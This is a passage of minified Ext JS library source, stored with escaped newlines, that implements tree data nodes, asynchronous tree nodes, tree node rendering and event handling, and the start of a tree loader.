  if (this.firstChild == c) {\n        this.setFirstChild(c.nextSibling)\n    }\n    if (this.lastChild == c) {\n        this.setLastChild(c.previousSibling)\n    }\n    this.fireEvent(\"remove\", this.ownerTree, this, c);\n    if (b) {\n        c.destroy(true)\n    } else {\n        c.clear()\n    }\n    return c\n}, clear:function (a) {\n    this.setOwnerTree(null, a);\n    this.parentNode = this.previousSibling = this.nextSibling = null;\n    if (a) {\n        this.firstChild = this.lastChild = null\n    }\n}, destroy:function (a) {\n    if (a === true) {\n        this.purgeListeners();\n        this.clear(true);\n        Ext.each(this.childNodes, function (b) {\n            b.destroy(true)\n        });\n        this.childNodes = null\n    } else {\n        this.remove(true)\n    }\n}, insertBefore:function (d, a) {\n    if (!a) {\n        return this.appendChild(d)\n    }\n    if (d == a) {\n        return false\n    }\n    if (this.fireEvent(\"beforeinsert\", this.ownerTree, this, d, a) === false) {\n        return false\n    }\n    var b = this.childNodes.indexOf(a);\n    var c = d.parentNode;\n    var e = b;\n    if (c == this && this.childNodes.indexOf(d) < b) {\n        e--\n    }\n    if (c) {\n        if (d.fireEvent(\"beforemove\", d.getOwnerTree(), d, c, this, b, a) === false) {\n            return false\n        }\n        c.removeChild(d)\n    }\n    if (e === 0) {\n        this.setFirstChild(d)\n    }\n    this.childNodes.splice(e, 0, d);\n    d.parentNode = this;\n    var g = this.childNodes[e - 1];\n    if (g) {\n        d.previousSibling = g;\n        g.nextSibling = d\n    } else {\n        d.previousSibling = null\n    }\n    d.nextSibling = a;\n    a.previousSibling = d;\n    d.setOwnerTree(this.getOwnerTree());\n    this.fireEvent(\"insert\", this.ownerTree, this, d, a);\n    if (c) {\n        d.fireEvent(\"move\", this.ownerTree, d, c, this, e, a)\n    }\n    return d\n}, remove:function (a) {\n    if (this.parentNode) {\n        this.parentNode.removeChild(this, a)\n    }\n    return this\n}, removeAll:function (a) {\n    var c = this.childNodes, b;\n    while ((b = c[0])) {\n        this.removeChild(b, a)\n    }\n    return this\n}, item:function (a) {\n    return this.childNodes[a]\n}, replaceChild:function (a, c) {\n    var b = c ? c.nextSibling : null;\n    this.removeChild(c);\n    this.insertBefore(a, b);\n    return c\n}, indexOf:function (a) {\n    return this.childNodes.indexOf(a)\n}, getOwnerTree:function () {\n    if (!this.ownerTree) {\n        var a = this;\n        while (a) {\n            if (a.ownerTree) {\n                this.ownerTree = a.ownerTree;\n                break\n            }\n            a = a.parentNode\n        }\n    }\n    return this.ownerTree\n}, getDepth:function () {\n    var b = 0;\n    var a = this;\n    while (a.parentNode) {\n        ++b;\n        a = a.parentNode\n    }\n    return b\n}, setOwnerTree:function (a, b) {\n    if (a != this.ownerTree) {\n        if (this.ownerTree) {\n            this.ownerTree.unregisterNode(this)\n        }\n        this.ownerTree = a;\n        if (b !== true) {\n            Ext.each(this.childNodes, function (c) {\n                c.setOwnerTree(a)\n            })\n        }\n        if (a) {\n            a.registerNode(this)\n        }\n    }\n}, setId:function (b) {\n    if (b !== this.id) {\n        var a = this.ownerTree;\n        if (a) {\n            a.unregisterNode(this)\n        }\n        this.id = this.attributes.id = b;\n        if (a) {\n            a.registerNode(this)\n        }\n        this.onIdChange(b)\n    }\n}, onIdChange:Ext.emptyFn, getPath:function (c) {\n    c = c || \"id\";\n    var e = this.parentNode;\n    var a = [this.attributes[c]];\n    while (e) {\n        a.unshift(e.attributes[c]);\n        e = e.parentNode\n    }\n    var d = this.getOwnerTree().pathSeparator;\n    return d + a.join(d)\n}, bubble:function (c, b, a) {\n    var d = this;\n    while (d) {\n        if (c.apply(b || d, a || [d]) === false) {\n            break\n        }\n        d = d.parentNode\n    }\n}, cascade:function (g, e, b) {\n    if (g.apply(e || this, b || [this]) !== false) {\n        var d = this.childNodes;\n        for (var c = 0, a = d.length; c < a; c++) {\n            d[c].cascade(g, e, b)\n        }\n    }\n}, eachChild:function (g, e, b) {\n    var d = this.childNodes;\n    for (var c = 0, a = d.length; c < a; c++) {\n        if (g.apply(e || d[c], b || [d[c]]) === false) {\n            break\n        }\n    }\n}, findChild:function (b, c, a) {\n    return this.findChildBy(function () {\n        return this.attributes[b] == c\n    }, null, a)\n}, findChildBy:function (h, g, b) {\n    var e = this.childNodes, a = e.length, d = 0, j, c;\n    for (; d < a; d++) {\n        j = e[d];\n        if (h.call(g || j, j) === true) {\n            return j\n        } else {\n            if (b) {\n                c = j.findChildBy(h, g, b);\n                if (c != null) {\n                    return c\n                }\n            }\n        }\n    }\n    return null\n}, sort:function (e, d) {\n    var c = this.childNodes;\n    var a = c.length;\n    if (a > 0) {\n        var g = d ? function () {\n            e.apply(d, arguments)\n        } : e;\n        c.sort(g);\n        for (var b = 0; b < a; b++) {\n            var h = c[b];\n            h.previousSibling = c[b - 1];\n            h.nextSibling = c[b + 1];\n            if (b === 0) {\n                this.setFirstChild(h)\n            }\n            if (b == a - 1) {\n                this.setLastChild(h)\n            }\n        }\n    }\n}, contains:function (a) {\n    return a.isAncestor(this)\n}, isAncestor:function (a) {\n    var b = this.parentNode;\n    while (b) {\n        if (b == a) {\n            return true\n        }\n        b = b.parentNode\n    }\n    return false\n}, toString:function () {\n    return\"[Node\" + (this.id ? \" \" + this.id : \"\") + \"]\"\n}});\nExt.tree.TreeNode = Ext.extend(Ext.data.Node, {constructor:function (a) {\n    a = a || {};\n    if (Ext.isString(a)) {\n        a = {text:a}\n    }\n    this.childrenRendered = false;\n    this.rendered = false;\n    Ext.tree.TreeNode.superclass.constructor.call(this, a);\n    this.expanded = a.expanded === true;\n    this.isTarget = a.isTarget !== false;\n    this.draggable = a.draggable !== false && a.allowDrag !== false;\n    this.allowChildren = a.allowChildren !== false && a.allowDrop !== false;\n    this.text = a.text;\n    this.disabled = a.disabled === true;\n    this.hidden = a.hidden === true;\n    this.addEvents(\"textchange\", \"beforeexpand\", \"beforecollapse\", \"expand\", \"disabledchange\", \"collapse\", \"beforeclick\", \"click\", \"checkchange\", \"beforedblclick\", \"dblclick\", \"contextmenu\", \"beforechildrenrendered\");\n    var b = this.attributes.uiProvider || this.defaultUI || Ext.tree.TreeNodeUI;\n    this.ui = new b(this)\n}, preventHScroll:true, isExpanded:function () {\n    return this.expanded\n}, getUI:function () {\n    return this.ui\n}, getLoader:function () {\n    var a;\n    return this.loader || ((a = this.getOwnerTree()) && a.loader ? a.loader : (this.loader = new Ext.tree.TreeLoader()))\n}, setFirstChild:function (a) {\n    var b = this.firstChild;\n    Ext.tree.TreeNode.superclass.setFirstChild.call(this, a);\n    if (this.childrenRendered && b && a != b) {\n        b.renderIndent(true, true)\n    }\n    if (this.rendered) {\n        this.renderIndent(true, true)\n    }\n}, setLastChild:function (b) {\n    var a = this.lastChild;\n    Ext.tree.TreeNode.superclass.setLastChild.call(this, b);\n    if (this.childrenRendered && a && b != a) {\n        a.renderIndent(true, true)\n    }\n    if (this.rendered) {\n        this.renderIndent(true, true)\n    }\n}, appendChild:function (b) {\n    if (!b.render && !Ext.isArray(b)) {\n        b = this.getLoader().createNode(b)\n    }\n    var a = Ext.tree.TreeNode.superclass.appendChild.call(this, b);\n    if (a && this.childrenRendered) {\n        a.render()\n    }\n    this.ui.updateExpandIcon();\n    return a\n}, removeChild:function (b, a) {\n    this.ownerTree.getSelectionModel().unselect(b);\n    Ext.tree.TreeNode.superclass.removeChild.apply(this, arguments);\n    if (!a) {\n        var c = b.ui.rendered;\n        if (c) {\n            b.ui.remove()\n        }\n        if (c && this.childNodes.length < 1) {\n            this.collapse(false, false)\n        } else {\n            this.ui.updateExpandIcon()\n        }\n        if (!this.firstChild && !this.isHiddenRoot()) {\n            this.childrenRendered = false\n        }\n    }\n    return b\n}, insertBefore:function (c, a) {\n    if (!c.render) {\n        c = this.getLoader().createNode(c)\n    }\n    var b = Ext.tree.TreeNode.superclass.insertBefore.call(this, c, a);\n    if (b && a && this.childrenRendered) {\n        c.render()\n    }\n    this.ui.updateExpandIcon();\n    return b\n}, setText:function (b) {\n    var a = this.text;\n    this.text = this.attributes.text = b;\n    if (this.rendered) {\n        this.ui.onTextChange(this, b, a)\n    }\n    this.fireEvent(\"textchange\", this, b, a)\n}, setIconCls:function (b) {\n    var a = this.attributes.iconCls;\n    this.attributes.iconCls = b;\n    if (this.rendered) {\n        this.ui.onIconClsChange(this, b, a)\n    }\n}, setTooltip:function (a, b) {\n    this.attributes.qtip = a;\n    this.attributes.qtipTitle = b;\n    if (this.rendered) {\n        this.ui.onTipChange(this, a, b)\n    }\n}, setIcon:function (a) {\n    this.attributes.icon = a;\n    if (this.rendered) {\n        this.ui.onIconChange(this, a)\n    }\n}, setHref:function (a, b) {\n    this.attributes.href = a;\n    this.attributes.hrefTarget = b;\n    if (this.rendered) {\n        this.ui.onHrefChange(this, a, b)\n    }\n}, setCls:function (b) {\n    var a = this.attributes.cls;\n    this.attributes.cls = b;\n    if (this.rendered) {\n        this.ui.onClsChange(this, b, a)\n    }\n}, select:function () {\n    var a = this.getOwnerTree();\n    if (a) {\n        a.getSelectionModel().select(this)\n    }\n}, unselect:function (a) {\n    var b = this.getOwnerTree();\n    if (b) {\n        b.getSelectionModel().unselect(this, a)\n    }\n}, isSelected:function () {\n    var a = this.getOwnerTree();\n    return a ? a.getSelectionModel().isSelected(this) : false\n}, expand:function (a, c, d, b) {\n    if (!this.expanded) {\n        if (this.fireEvent(\"beforeexpand\", this, a, c) === false) {\n            return\n        }\n        if (!this.childrenRendered) {\n            this.renderChildren()\n        }\n        this.expanded = true;\n        if (!this.isHiddenRoot() && (this.getOwnerTree().animate && c !== false) || c) {\n            this.ui.animExpand(function () {\n                this.fireEvent(\"expand\", this);\n                this.runCallback(d, b || this, [this]);\n                if (a === true) {\n                    this.expandChildNodes(true, true)\n                }\n            }.createDelegate(this));\n            return\n        } else {\n            this.ui.expand();\n            this.fireEvent(\"expand\", this);\n            this.runCallback(d, b || this, [this])\n        }\n    } else {\n        this.runCallback(d, b || this, [this])\n    }\n    if (a === true) {\n        this.expandChildNodes(true)\n    }\n}, runCallback:function (a, c, b) {\n    if (Ext.isFunction(a)) {\n        a.apply(c, b)\n    }\n}, isHiddenRoot:function () {\n    return this.isRoot && !this.getOwnerTree().rootVisible\n}, collapse:function (b, g, h, e) {\n    if (this.expanded && !this.isHiddenRoot()) {\n        if (this.fireEvent(\"beforecollapse\", this, b, g) === false) {\n            return\n        }\n        this.expanded = false;\n        if ((this.getOwnerTree().animate && g !== false) || g) {\n            this.ui.animCollapse(function () {\n                this.fireEvent(\"collapse\", this);\n                this.runCallback(h, e || this, [this]);\n                if (b === true) {\n                    this.collapseChildNodes(true)\n                }\n            }.createDelegate(this));\n            return\n        } else {\n            this.ui.collapse();\n            this.fireEvent(\"collapse\", this);\n            this.runCallback(h, e || this, [this])\n        }\n    } else {\n        if (!this.expanded) {\n            this.runCallback(h, e || this, [this])\n        }\n    }\n    if (b === true) {\n        var d = this.childNodes;\n        for (var c = 0, a = d.length; c < a; c++) {\n            d[c].collapse(true, false)\n        }\n    }\n}, delayedExpand:function (a) {\n    if (!this.expandProcId) {\n        this.expandProcId = this.expand.defer(a, this)\n    }\n}, cancelExpand:function () {\n    if (this.expandProcId) {\n        clearTimeout(this.expandProcId)\n    }\n    this.expandProcId = false\n}, toggle:function () {\n    if (this.expanded) {\n        this.collapse()\n    } else {\n        this.expand()\n    }\n}, ensureVisible:function (c, b) {\n    var a = this.getOwnerTree();\n    a.expandPath(this.parentNode ? this.parentNode.getPath() : this.getPath(), false, function () {\n        var d = a.getNodeById(this.id);\n        a.getTreeEl().scrollChildIntoView(d.ui.anchor);\n        this.runCallback(c, b || this, [this])\n    }.createDelegate(this))\n}, expandChildNodes:function (b, e) {\n    var d = this.childNodes, c, a = d.length;\n    for (c = 0; c < a; c++) {\n        d[c].expand(b, e)\n    }\n}, collapseChildNodes:function (b) {\n    var d = this.childNodes;\n    for (var c = 0, a = d.length; c < a; c++) {\n        d[c].collapse(b)\n    }\n}, disable:function () {\n    this.disabled = true;\n    this.unselect();\n    if (this.rendered && this.ui.onDisableChange) {\n        this.ui.onDisableChange(this, true)\n    }\n    this.fireEvent(\"disabledchange\", this, true)\n}, enable:function () {\n    this.disabled = false;\n    if (this.rendered && this.ui.onDisableChange) {\n        this.ui.onDisableChange(this, false)\n    }\n    this.fireEvent(\"disabledchange\", this, false)\n}, renderChildren:function (b) {\n    if (b !== false) {\n        this.fireEvent(\"beforechildrenrendered\", this)\n    }\n    var d = this.childNodes;\n    for (var c = 0, a = d.length; c < a; c++) {\n        d[c].render(true)\n    }\n    this.childrenRendered = true\n}, sort:function (e, d) {\n    Ext.tree.TreeNode.superclass.sort.apply(this, arguments);\n    if (this.childrenRendered) {\n        var c = this.childNodes;\n        for (var b = 0, a = c.length; b < a; b++) {\n            c[b].render(true)\n        }\n    }\n}, render:function (a) {\n    this.ui.render(a);\n    if (!this.rendered) {\n        this.getOwnerTree().registerNode(this);\n        this.rendered = true;\n        if (this.expanded) {\n            this.expanded = false;\n            this.expand(false, false)\n        }\n    }\n}, renderIndent:function (b, e) {\n    if (e) {\n        this.ui.childIndent = null\n    }\n    this.ui.renderIndent();\n    if (b === true && this.childrenRendered) {\n        var d = this.childNodes;\n        for (var c = 0, a = d.length; c < a; c++) {\n            d[c].renderIndent(true, e)\n        }\n    }\n}, beginUpdate:function () {\n    this.childrenRendered = false\n}, endUpdate:function () {\n    if (this.expanded && this.rendered) {\n        this.renderChildren()\n    }\n}, destroy:function (a) {\n    if (a === true) {\n        this.unselect(true)\n    }\n    Ext.tree.TreeNode.superclass.destroy.call(this, a);\n    Ext.destroy(this.ui, this.loader);\n    this.ui = this.loader = null\n}, onIdChange:function (a) {\n    this.ui.onIdChange(a)\n}});\nExt.tree.TreePanel.nodeTypes.node = Ext.tree.TreeNode;\nExt.tree.AsyncTreeNode = function (a) {\n    this.loaded = a && a.loaded === true;\n    this.loading = false;\n    Ext.tree.AsyncTreeNode.superclass.constructor.apply(this, arguments);\n    this.addEvents(\"beforeload\", \"load\")\n};\nExt.extend(Ext.tree.AsyncTreeNode, Ext.tree.TreeNode, {expand:function (b, e, h, c) {\n    if (this.loading) {\n        var g;\n        var d = function () {\n            if (!this.loading) {\n                clearInterval(g);\n                this.expand(b, e, h, c)\n            }\n        }.createDelegate(this);\n        g = setInterval(d, 200);\n        return\n    }\n    if (!this.loaded) {\n        if (this.fireEvent(\"beforeload\", this) === false) {\n            return\n        }\n        this.loading = true;\n        this.ui.beforeLoad(this);\n        var a = this.loader || this.attributes.loader || this.getOwnerTree().getLoader();\n        if (a) {\n            a.load(this, this.loadComplete.createDelegate(this, [b, e, h, c]), this);\n            return\n        }\n    }\n    Ext.tree.AsyncTreeNode.superclass.expand.call(this, b, e, h, c)\n}, isLoading:function () {\n    return this.loading\n}, loadComplete:function (a, c, d, b) {\n    this.loading = false;\n    this.loaded = true;\n    this.ui.afterLoad(this);\n    this.fireEvent(\"load\", this);\n    this.expand(a, c, d, b)\n}, isLoaded:function () {\n    return this.loaded\n}, hasChildNodes:function () {\n    if (!this.isLeaf() && !this.loaded) {\n        return true\n    } else {\n        return Ext.tree.AsyncTreeNode.superclass.hasChildNodes.call(this)\n    }\n}, reload:function (b, a) {\n    this.collapse(false, false);\n    while (this.firstChild) {\n        this.removeChild(this.firstChild).destroy()\n    }\n    this.childrenRendered = false;\n    this.loaded = false;\n    if (this.isHiddenRoot()) {\n        this.expanded = false\n    }\n    this.expand(false, false, b, a)\n}});\nExt.tree.TreePanel.nodeTypes.async = Ext.tree.AsyncTreeNode;\nExt.tree.TreeNodeUI = Ext.extend(Object, {constructor:function (a) {\n    Ext.apply(this, {node:a, rendered:false, animating:false, wasLeaf:true, ecc:\"x-tree-ec-icon x-tree-elbow\", emptyIcon:Ext.BLANK_IMAGE_URL})\n}, removeChild:function (a) {\n    if (this.rendered) {\n        this.ctNode.removeChild(a.ui.getEl())\n    }\n}, beforeLoad:function () {\n    this.addClass(\"x-tree-node-loading\")\n}, afterLoad:function () {\n    this.removeClass(\"x-tree-node-loading\")\n}, onTextChange:function (b, c, a) {\n    if (this.rendered) {\n        this.textNode.innerHTML = c\n    }\n}, onIconClsChange:function (c, a, b) {\n    if (this.rendered) {\n        Ext.fly(this.iconNode).replaceClass(b, a)\n    }\n}, onIconChange:function (b, a) {\n    if (this.rendered) {\n        var c = Ext.isEmpty(a);\n        this.iconNode.src = c ? this.emptyIcon : a;\n        Ext.fly(this.iconNode)[c ? \"removeClass\" : \"addClass\"](\"x-tree-node-inline-icon\")\n    }\n}, onTipChange:function (b, c, d) {\n    if (this.rendered) {\n        var a = Ext.isDefined(d);\n        if (this.textNode.setAttributeNS) {\n            this.textNode.setAttributeNS(\"ext\", \"qtip\", c);\n            if (a) {\n                this.textNode.setAttributeNS(\"ext\", \"qtitle\", d)\n            }\n        } else {\n            this.textNode.setAttribute(\"ext:qtip\", c);\n            if (a) {\n                this.textNode.setAttribute(\"ext:qtitle\", d)\n            }\n        }\n    }\n}, onHrefChange:function (b, a, c) {\n    if (this.rendered) {\n        this.anchor.href = this.getHref(a);\n        if (Ext.isDefined(c)) {\n            this.anchor.target = c\n        }\n    }\n}, onClsChange:function (c, a, b) {\n    if (this.rendered) {\n        Ext.fly(this.elNode).replaceClass(b, a)\n    }\n}, onDisableChange:function (a, b) {\n    this.disabled = b;\n    if (this.checkbox) {\n        this.checkbox.disabled = b\n    }\n    this[b ? \"addClass\" : \"removeClass\"](\"x-tree-node-disabled\")\n}, onSelectedChange:function (a) {\n    if (a) {\n        this.focus();\n        this.addClass(\"x-tree-selected\")\n    } else {\n        this.removeClass(\"x-tree-selected\")\n    }\n}, onMove:function (a, h, e, g, d, b) {\n    this.childIndent = null;\n    if (this.rendered) {\n        var i = g.ui.getContainer();\n        if (!i) {\n            this.holder = document.createElement(\"div\");\n            this.holder.appendChild(this.wrap);\n            return\n        }\n        var c = b ? b.ui.getEl() : null;\n        if (c) {\n            i.insertBefore(this.wrap, c)\n        } else {\n            i.appendChild(this.wrap)\n        }\n        this.node.renderIndent(true, e != g)\n    }\n}, addClass:function (a) {\n    if (this.elNode) {\n        Ext.fly(this.elNode).addClass(a)\n    }\n}, removeClass:function (a) {\n    if (this.elNode) {\n        Ext.fly(this.elNode).removeClass(a)\n    }\n}, remove:function () {\n    if (this.rendered) {\n        this.holder = document.createElement(\"div\");\n        this.holder.appendChild(this.wrap)\n    }\n}, fireEvent:function () {\n    return this.node.fireEvent.apply(this.node, arguments)\n}, initEvents:function () {\n    this.node.on(\"move\", this.onMove, this);\n    if (this.node.disabled) {\n        this.onDisableChange(this.node, true)\n    }\n    if (this.node.hidden) {\n        this.hide()\n    }\n    var b = this.node.getOwnerTree();\n    var a = b.enableDD || b.enableDrag || b.enableDrop;\n    if (a && (!this.node.isRoot || b.rootVisible)) {\n        Ext.dd.Registry.register(this.elNode, {node:this.node, handles:this.getDDHandles(), isHandle:false})\n    }\n}, getDDHandles:function () {\n    return[this.iconNode, this.textNode, this.elNode]\n}, hide:function () {\n    this.node.hidden = true;\n    if (this.wrap) {\n        this.wrap.style.display = \"none\"\n    }\n}, show:function () {\n    this.node.hidden = false;\n    if (this.wrap) {\n        this.wrap.style.display = \"\"\n    }\n}, onContextMenu:function (a) {\n    if (this.node.hasListener(\"contextmenu\") || this.node.getOwnerTree().hasListener(\"contextmenu\")) {\n        a.preventDefault();\n        this.focus();\n        this.fireEvent(\"contextmenu\", this.node, a)\n    }\n}, onClick:function (c) {\n    if (this.dropping) {\n        c.stopEvent();\n        return\n    }\n    if (this.fireEvent(\"beforeclick\", this.node, c) !== false) {\n        var b = c.getTarget(\"a\");\n        if (!this.disabled && this.node.attributes.href && b) {\n            this.fireEvent(\"click\", this.node, c);\n            return\n        } else {\n            if (b && c.ctrlKey) {\n                c.stopEvent()\n            }\n        }\n        c.preventDefault();\n        if (this.disabled) {\n            return\n        }\n        if (this.node.attributes.singleClickExpand && !this.animating && this.node.isExpandable()) {\n            this.node.toggle()\n        }\n        this.fireEvent(\"click\", this.node, c)\n    } else {\n        c.stopEvent()\n    }\n}, onDblClick:function (a) {\n    a.preventDefault();\n    if (this.disabled) {\n        return\n    }\n    if (this.fireEvent(\"beforedblclick\", this.node, a) !== false) {\n        if (this.checkbox) {\n            this.toggleCheck()\n        }\n        if (!this.animating && this.node.isExpandable()) {\n            this.node.toggle()\n        }\n        this.fireEvent(\"dblclick\", this.node, a)\n    }\n}, onOver:function (a) {\n    this.addClass(\"x-tree-node-over\")\n}, onOut:function (a) {\n    this.removeClass(\"x-tree-node-over\")\n}, onCheckChange:function () {\n    var a = this.checkbox.checked;\n    this.checkbox.defaultChecked = a;\n    this.node.attributes.checked = a;\n    this.fireEvent(\"checkchange\", this.node, a)\n}, ecClick:function (a) {\n    if (!this.animating && this.node.isExpandable()) {\n        this.node.toggle()\n    }\n}, startDrop:function () {\n    this.dropping = true\n}, endDrop:function () {\n    setTimeout(function () {\n        this.dropping = false\n    }.createDelegate(this), 50)\n}, expand:function () {\n    this.updateExpandIcon();\n    this.ctNode.style.display = \"\"\n}, focus:function () {\n    if (!this.node.preventHScroll) {\n        try {\n            this.anchor.focus()\n        } catch (c) {\n        }\n    } else {\n        try {\n            var b = this.node.getOwnerTree().getTreeEl().dom;\n            var a = b.scrollLeft;\n            this.anchor.focus();\n            b.scrollLeft = a\n        } catch (c) {\n        }\n    }\n}, toggleCheck:function (b) {\n    var a = this.checkbox;\n    if (a) {\n        a.checked = (b === undefined ? !a.checked : b);\n        this.onCheckChange()\n    }\n}, blur:function () {\n    try {\n        this.anchor.blur()\n    } catch (a) {\n    }\n}, animExpand:function (b) {\n    var a = Ext.get(this.ctNode);\n    a.stopFx();\n    if (!this.node.isExpandable()) {\n        this.updateExpandIcon();\n        this.ctNode.style.display = \"\";\n        Ext.callback(b);\n        return\n    }\n    this.animating = true;\n    this.updateExpandIcon();\n    a.slideIn(\"t\", {callback:function () {\n        this.animating = false;\n        Ext.callback(b)\n    }, scope:this, duration:this.node.ownerTree.duration || 0.25})\n}, highlight:function () {\n    var a = this.node.getOwnerTree();\n    Ext.fly(this.wrap).highlight(a.hlColor || \"C3DAF9\", {endColor:a.hlBaseColor})\n}, collapse:function () {\n    this.updateExpandIcon();\n    this.ctNode.style.display = \"none\"\n}, animCollapse:function (b) {\n    var a = Ext.get(this.ctNode);\n    a.enableDisplayMode(\"block\");\n    a.stopFx();\n    this.animating = true;\n    this.updateExpandIcon();\n    a.slideOut(\"t\", {callback:function () {\n        this.animating = false;\n        Ext.callback(b)\n    }, scope:this, duration:this.node.ownerTree.duration || 0.25})\n}, getContainer:function () {\n    return this.ctNode\n}, getEl:function () {\n    return this.wrap\n}, appendDDGhost:function (a) {\n    a.appendChild(this.elNode.cloneNode(true))\n}, getDDRepairXY:function () {\n    return Ext.lib.Dom.getXY(this.iconNode)\n}, onRender:function () {\n    this.render()\n}, render:function (c) {\n    var e = this.node, b = e.attributes;\n    var d = e.parentNode ? e.parentNode.ui.getContainer() : e.ownerTree.innerCt.dom;\n    if (!this.rendered) {\n        this.rendered = true;\n        this.renderElements(e, b, d, c);\n        if (b.qtip) {\n            this.onTipChange(e, b.qtip, b.qtipTitle)\n        } else {\n            if (b.qtipCfg) {\n                b.qtipCfg.target = Ext.id(this.textNode);\n                Ext.QuickTips.register(b.qtipCfg)\n            }\n        }\n        this.initEvents();\n        if (!this.node.expanded) {\n            this.updateExpandIcon(true)\n        }\n    } else {\n        if (c === true) {\n            d.appendChild(this.wrap)\n        }\n    }\n}, renderElements:function (e, k, j, l) {\n    this.indentMarkup = e.parentNode ? e.parentNode.ui.getChildIndent() : \"\";\n    var g = Ext.isBoolean(k.checked), b, c = this.getHref(k.href), d = ['<li class=\"x-tree-node\"><div ext:tree-node-id=\"', e.id, '\" class=\"x-tree-node-el x-tree-node-leaf x-unselectable ', k.cls, '\" unselectable=\"on\">', '<span class=\"x-tree-node-indent\">', this.indentMarkup, \"</span>\", '<img alt=\"\" src=\"', this.emptyIcon, '\" class=\"x-tree-ec-icon x-tree-elbow\" />', '<img alt=\"\" src=\"', k.icon || this.emptyIcon, '\" class=\"x-tree-node-icon', (k.icon ? \" x-tree-node-inline-icon\" : \"\"), (k.iconCls ? \" \" + k.iconCls : \"\"), '\" unselectable=\"on\" />', g ? ('<input class=\"x-tree-node-cb\" type=\"checkbox\" ' + (k.checked ? 'checked=\"checked\" />' : \"/>\")) : \"\", '<a hidefocus=\"on\" class=\"x-tree-node-anchor\" href=\"', c, '\" tabIndex=\"1\" ', k.hrefTarget ? ' target=\"' + k.hrefTarget + '\"' : \"\", '><span unselectable=\"on\">', e.text, \"</span></a></div>\", '<ul class=\"x-tree-node-ct\" style=\"display:none;\"></ul>', \"</li>\"].join(\"\");\n    if (l !== true && e.nextSibling && (b = e.nextSibling.ui.getEl())) {\n        this.wrap = Ext.DomHelper.insertHtml(\"beforeBegin\", b, d)\n    } else {\n        this.wrap = Ext.DomHelper.insertHtml(\"beforeEnd\", j, d)\n    }\n    this.elNode = this.wrap.childNodes[0];\n    this.ctNode = this.wrap.childNodes[1];\n    var i = this.elNode.childNodes;\n    this.indentNode = i[0];\n    this.ecNode = i[1];\n    this.iconNode = i[2];\n    var h = 3;\n    if (g) {\n        this.checkbox = i[3];\n        this.checkbox.defaultChecked = this.checkbox.checked;\n        h++\n    }\n    this.anchor = i[h];\n    this.textNode = i[h].firstChild\n}, getHref:function (a) {\n    return Ext.isEmpty(a) ? (Ext.isGecko ? \"\" : \"#\") : a\n}, getAnchor:function () {\n    return this.anchor\n}, getTextEl:function () {\n    return this.textNode\n}, getIconEl:function () {\n    return this.iconNode\n}, isChecked:function () {\n    return this.checkbox ? this.checkbox.checked : false\n}, updateExpandIcon:function () {\n    if (this.rendered) {\n        var g = this.node, d, c, a = g.isLast() ? \"x-tree-elbow-end\" : \"x-tree-elbow\", e = g.hasChildNodes();\n        if (e || g.attributes.expandable) {\n            if (g.expanded) {\n                a += \"-minus\";\n                d = \"x-tree-node-collapsed\";\n                c = \"x-tree-node-expanded\"\n            } else {\n                a += \"-plus\";\n                d = \"x-tree-node-expanded\";\n                c = \"x-tree-node-collapsed\"\n            }\n            if (this.wasLeaf) {\n                this.removeClass(\"x-tree-node-leaf\");\n                this.wasLeaf = false\n            }\n            if (this.c1 != d || this.c2 != c) {\n                Ext.fly(this.elNode).replaceClass(d, c);\n                this.c1 = d;\n                this.c2 = c\n            }\n        } else {\n            if (!this.wasLeaf) {\n                Ext.fly(this.elNode).replaceClass(\"x-tree-node-expanded\", \"x-tree-node-collapsed\");\n                delete this.c1;\n                delete this.c2;\n                this.wasLeaf = true\n            }\n        }\n        var b = \"x-tree-ec-icon \" + a;\n        if (this.ecc != b) {\n            this.ecNode.className = b;\n            this.ecc = b\n        }\n    }\n}, onIdChange:function (a) {\n    if (this.rendered) {\n        this.elNode.setAttribute(\"ext:tree-node-id\", a)\n    }\n}, getChildIndent:function () {\n    if (!this.childIndent) {\n        var a = [], b = this.node;\n        while (b) {\n            if (!b.isRoot || (b.isRoot && b.ownerTree.rootVisible)) {\n                if (!b.isLast()) {\n                    a.unshift('<img alt=\"\" src=\"' + this.emptyIcon + '\" class=\"x-tree-elbow-line\" />')\n                } else {\n                    a.unshift('<img alt=\"\" src=\"' + this.emptyIcon + '\" class=\"x-tree-icon\" />')\n                }\n            }\n            b = b.parentNode\n        }\n        this.childIndent = a.join(\"\")\n    }\n    return this.childIndent\n}, renderIndent:function () {\n    if (this.rendered) {\n        var a = \"\", b = this.node.parentNode;\n        if (b) {\n            a = b.ui.getChildIndent()\n        }\n        if (this.indentMarkup != a) {\n            this.indentNode.innerHTML = a;\n            this.indentMarkup = a\n        }\n        this.updateExpandIcon()\n    }\n}, destroy:function () {\n    if (this.elNode) {\n        Ext.dd.Registry.unregister(this.elNode.id)\n    }\n    Ext.each([\"textnode\", \"anchor\", \"checkbox\", \"indentNode\", \"ecNode\", \"iconNode\", \"elNode\", \"ctNode\", \"wrap\", \"holder\"], function (a) {\n        if (this[a]) {\n            Ext.fly(this[a]).remove();\n            delete this[a]\n        }\n    }, this);\n    delete this.node\n}});\nExt.tree.RootTreeNodeUI = Ext.extend(Ext.tree.TreeNodeUI, {render:function () {\n    if (!this.rendered) {\n        var a = this.node.ownerTree.innerCt.dom;\n        this.node.expanded = true;\n        a.innerHTML = '<div class=\"x-tree-root-node\"></div>';\n        this.wrap = this.ctNode = a.firstChild\n    }\n}, collapse:Ext.emptyFn, expand:Ext.emptyFn});\nExt.tree.TreeLoader = function (a) {\n    this.baseParams = {};\n    Ext.apply(this, a);\n    this.addEvents(\"beforeload\", \"load\", \"loadexception\");\n    Ext.tree.TreeLoader.superclass.constructor.call(this);\n    if (Ext.isString(this.paramOrder)) {\n        this.paramOrder = this.paramOrder.split(/[\\s,|]/)\n    }\n};\nExt.extend(Ext.tree.TreeLoader, Ext.util.Observable, {uiProviders:{}, clearOnLoad:true, paramOrder:undefined, paramsAsHash:false, nodeParameter:\"node\", directFn:undefined, load:function (b, c, a) {\n    if (this.clearOnLoad) {\n        while (b.firstChild) {\n            b.removeChild(b.firstChild)\n        }\n    }\n    if (this.doPreload(b)) {\n        this.runCallback(c, a || b, [b])\n    } else {\n        if (this.directFn || this.dataUrl || this.url) {\n            this.requestData(b, c, a || b)\n        }\n    }\n}, doPreload:function (d) {\n    if (d.attributes.children) {\n        if (d.childNodes.length < 1) {\n            var c = d.attributes.children;\n            d.beginUpdate();\n            for (var b = 0, a = c.length; b < a; b++) {\n                var e = d.appendChild(this.createNode(c[b]));\n                if (this.preloadChildren) {\n                    this.doPreload(e)\n                }\n            }\n            d.endUpdate()\n        }\n        return true\n    }\n    return false\n}, getParams:function (g) {\n    var e = Ext.apply({}, this.baseParams), h = this.nodeParameter, 